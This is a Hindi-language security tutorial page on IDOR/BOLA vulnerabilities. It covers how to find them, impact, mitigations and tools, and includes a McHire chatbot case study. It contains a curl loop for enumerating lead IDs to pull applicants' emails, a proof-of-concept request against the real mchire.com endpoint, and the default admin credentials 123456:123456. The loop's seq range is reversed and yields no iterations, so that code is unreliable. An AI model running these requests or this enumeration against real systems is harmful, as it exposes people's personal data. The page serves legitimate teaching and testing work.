# IDOR (Insecure Direct Object Reference) {{#include ../banners/hacktricks-training.md}} IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब प्रकट होता है जब एक वेब या API एंडपॉइंट एक उपयोगकर्ता-नियंत्रित पहचानकर्ता को प्रकट करता है या स्वीकार करता है जो **प्रत्यक्ष रूप से** एक आंतरिक वस्तु तक पहुँचने के लिए उपयोग किया जाता है **बिना यह सत्यापित किए कि कॉलर को उस वस्तु तक पहुँचने/संशोधित करने के लिए अधिकृत है**। सफल शोषण सामान्यतः क्षैतिज या ऊर्ध्वाधर विशेषाधिकार-उन्नयन की अनुमति देता है जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, पूर्ण खाता अधिग्रहण या सामूहिक डेटा निकासी। --- ## 1. संभावित IDOR की पहचान करना 1. **पैरामीटर की तलाश करें जो एक वस्तु को संदर्भित करते हैं**: * पथ: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * क्वेरी: `?id=42`, `?invoice=2024-00001` * बॉडी / JSON: `{"user_id": 321, "order_id": 987}` * हेडर / कुकीज़: `X-Client-ID: 4711` 2. उन एंडपॉइंट्स को प्राथमिकता दें जो **डेटा पढ़ते या अपडेट करते हैं** (`GET`, `PUT`, `PATCH`, `DELETE`)। 3. ध्यान दें जब पहचानकर्ता **क्रमबद्ध या पूर्वानुमानित** होते हैं - यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद है। 4. छिपे हुए या वैकल्पिक प्रवाहों का अन्वेषण करें (जैसे *"Paradox team members"* लिंक लॉगिन पृष्ठों में) जो अतिरिक्त APIs को उजागर कर सकते हैं। 5. एक **प्रमाणित निम्न-विशेषाधिकार सत्र** का उपयोग करें और केवल ID को **समान टोकन/कुकी रखते हुए** बदलें। अधिकृतता त्रुटि की अनुपस्थिति आमतौर पर IDOR का संकेत होती है। ### त्वरित मैनुअल छेड़छाड़ (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com Cookie: auth=eyJhbGciOiJIUzI1NiJ9... Content-Type: application/json {"lead_id":64185741} ``` ### स्वचालित सूचीकरण (Burp Intruder / curl लूप) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -H "Cookie: auth=$TOKEN" \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` --- ## 2. वास्तविक-विश्व केस अध्ययन – McHire चैटबॉट प्लेटफ़ॉर्म (2025) Paradox.ai-शक्ति वाले **McHire** भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR का पता चला: * Endpoint: `PUT /api/lead/cem-xhr` * Authorization: **किसी भी** रेस्तरां परीक्षण खाते के लिए उपयोगकर्ता सत्र कुकी * Body parameter: `{"lead_id": N}` – 8-अंकों का, **क्रमबद्ध** संख्यात्मक पहचानकर्ता `lead_id` को घटाकर, परीक्षक ने मनमाने आवेदकों की **पूर्ण PII** (नाम, ई-मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) प्राप्त की, साथ ही एक उपभोक्ता **JWT** जो सत्र हाइजैकिंग की अनुमति देता है। रेंज `1 – 64,185,742` की गणना करने पर लगभग **64 मिलियन** रिकॉर्ड उजागर हुए। Proof-of-Concept अनुरोध: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` संयुक्त **डिफ़ॉल्ट प्रशासन क्रेडेंशियल्स** (`123456:123456`) ने परीक्षण खाते तक पहुँच प्रदान की, इस भेद्यता के परिणामस्वरूप एक महत्वपूर्ण, कंपनी-व्यापी डेटा लीक हुआ। --- ## 3. IDOR / BOLA का प्रभाव * क्षैतिज वृद्धि – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट करना/हटाना। * ऊर्ध्वाधर वृद्धि – निम्न विशेषाधिकार प्राप्त उपयोगकर्ता प्रशासन-केवल कार्यक्षमता प्राप्त करता है। * यदि पहचानकर्ता अनुक्रमिक हैं (जैसे, आवेदक आईडी, चालान) तो सामूहिक डेटा लीक। * अन्य उपयोगकर्ताओं के टोकन चुराकर या पासवर्ड रीसेट करके खाता अधिग्रहण। --- ## 4. शमन और सर्वोत्तम प्रथाएँ 1. हर अनुरोध पर **ऑब्जेक्ट-स्तरीय प्राधिकरण** लागू करें (`user_id == session.user`)। 2. स्वचालित वृद्धि आईडी के बजाय **अप्रत्यक्ष, अनुमानित पहचानकर्ताओं** (UUIDv4, ULID) को प्राथमिकता दें। 3. प्राधिकरण **सर्वर-साइड** पर करें, कभी भी छिपे हुए फ़ॉर्म फ़ील्ड या UI नियंत्रणों पर निर्भर न रहें। 4. एक केंद्रीय मिडलवेयर में **RBAC / ABAC** जांच लागू करें। 5. आईडी की गणना का पता लगाने के लिए **रेट-सीमित और लॉगिंग** जोड़ें। 6. हर नए एंडपॉइंट का सुरक्षा परीक्षण करें (यूनिट, एकीकरण, और DAST)। --- ## 5. उपकरण * **BurpSuite एक्सटेंशन**: Authorize, Auto Repeater, Turbo Intruder। * **OWASP ZAP**: Auth Matrix, Forced Browse। * **Github प्रोजेक्ट्स**: `bwapp-idor-scanner`, `Blindy` (बुल्क IDOR शिकार)। ## संदर्भ * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) {{#include ../banners/hacktricks-training.md}}